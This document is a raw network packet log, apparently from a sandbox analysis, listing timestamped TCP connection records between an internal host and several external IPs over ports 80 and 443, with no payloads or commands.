Nov 28, 2024 11:05:33.242722988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.242841959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.242957115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.243829012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.243843079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.243880033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.243910074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.244827032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.244880915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.245001078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.245044947 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.245805025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.245874882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.281974077 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.282001972 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.282011032 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.282047033 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.282073021 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.282077074 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.282105923 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.282121897 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.282155991 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.284209013 CET	443	49855	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:33.284295082 CET	443	49855	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:33.284434080 CET	49855	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:33.284960985 CET	49855	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:33.284998894 CET	443	49855	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:33.305037022 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.305058956 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.305118084 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.305164099 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.306001902 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.333749056 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.333772898 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.333862066 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.333906889 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.334137917 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.356260061 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.356280088 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.356350899 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.356391907 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.357058048 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.373485088 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.373511076 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.373593092 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.373631954 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.373833895 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.392843008 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.392860889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.392936945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.393136024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.393279076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.393469095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.393481970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.393673897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.393949986 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.394083977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.394618034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.394659996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.394776106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.394984007 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.395739079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.395813942 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.395924091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.395971060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.396743059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.396756887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.396787882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.396809101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.397701979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.397715092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.397835016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.398536921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.398629904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.398869991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.399575949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.399621964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.399781942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.399842024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.400631905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.400687933 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.400724888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.400765896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.401654959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.401773930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.401787043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.401873112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.402800083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.402837992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.402870893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.402901888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.403750896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.403776884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.403842926 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.406831026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.406877995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.407542944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.407563925 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.407577038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.407588959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.407591105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.407603979 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.407603979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.407627106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.407660007 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.408313036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.408365011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.408478975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.408521891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.409452915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.409466028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.409506083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.410373926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.410486937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.410530090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.410633087 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.411355972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.411393881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.411550045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.411590099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.412483931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.412573099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.412791014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.412847042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.413491964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.413506031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.413626909 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.414196968 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.414269924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.414330006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.414391994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.415299892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.415347099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.415383101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.415440083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.416393995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.416438103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.416609049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.416728973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.417363882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.417423964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.417553902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.417597055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.418417931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.418478012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.418481112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.418509960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.419440985 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.419512033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.419545889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.419636011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.420520067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.420567989 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.420571089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.420625925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.421550989 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.421607971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.421659946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.421854019 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.422610044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.422724962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.422777891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.423635960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.423685074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.423732996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.423860073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.424714088 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.424767971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.424809933 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.424988031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.425728083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.425789118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.425827980 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.425868034 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.426785946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.426841974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.426878929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.426913023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.427841902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.427886009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.427896976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.428116083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.428883076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.428982973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.429042101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.429917097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.429975033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.430058956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.430104017 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.430998087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.431054115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.431063890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.431304932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.432039976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.432131052 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.432243109 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.432578087 CET	49866	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.432643890 CET	443	49866	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:33.432656050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.432709932 CET	49866	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.432945013 CET	49866	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.432959080 CET	443	49866	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:33.433075905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.433125973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.433239937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.433646917 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.434138060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.434190035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.434226036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.434262037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.435173988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.435266972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.435266972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.435307026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.436233997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.436263084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.436758995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.437334061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.437402964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.437458992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.438323021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.438384056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.439373016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.439428091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.439466000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.440150023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.440399885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.440510988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.441231012 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.441431999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.441531897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.441546917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.441612005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.442523956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.442547083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.442600965 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.443533897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.443588018 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.443625927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.444220066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.444585085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.444632053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.444715977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.444766998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.445669889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.445723057 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.445797920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.445849895 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.446649075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.446692944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.469923019 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.469950914 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.470022917 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.470042944 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.470082998 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.470082998 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.505563974 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.505589962 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.505645990 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.505708933 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.505744934 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.505762100 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.514880896 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.515389919 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.515414953 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.515467882 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.515494108 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.515506983 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.515522957 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.521557093 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.521574974 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.521626949 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.521665096 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.521692038 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.521706104 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.535526991 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.535543919 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.535584927 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.535619020 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.535653114 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.535691023 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.547163963 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.547178984 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.547199011 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.547208071 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.547245979 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.547276974 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.547296047 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.547297955 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.547344923 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.548273087 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.548290968 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.551718950 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.551736116 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.551778078 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.551810980 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.551831007 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.551862955 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.567892075 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.567909002 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.567970991 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.568002939 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.568025112 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.568041086 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.582957029 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.582973003 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.583039999 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.583074093 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.583203077 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.592999935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.593074083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.593091011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.593135118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.593481064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.593539953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.593677044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.593725920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.593830109 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.593869925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.594744921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.594758987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.594808102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.595815897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.595873117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.595940113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.595988035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.596904993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.596918106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.596973896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.597883940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.597946882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.597981930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.598025084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.598953009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.599020004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.599045038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.599087000 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.599176884 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.599193096 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.599262953 CET	49849	443	192.168.2.7	13.107.246.40
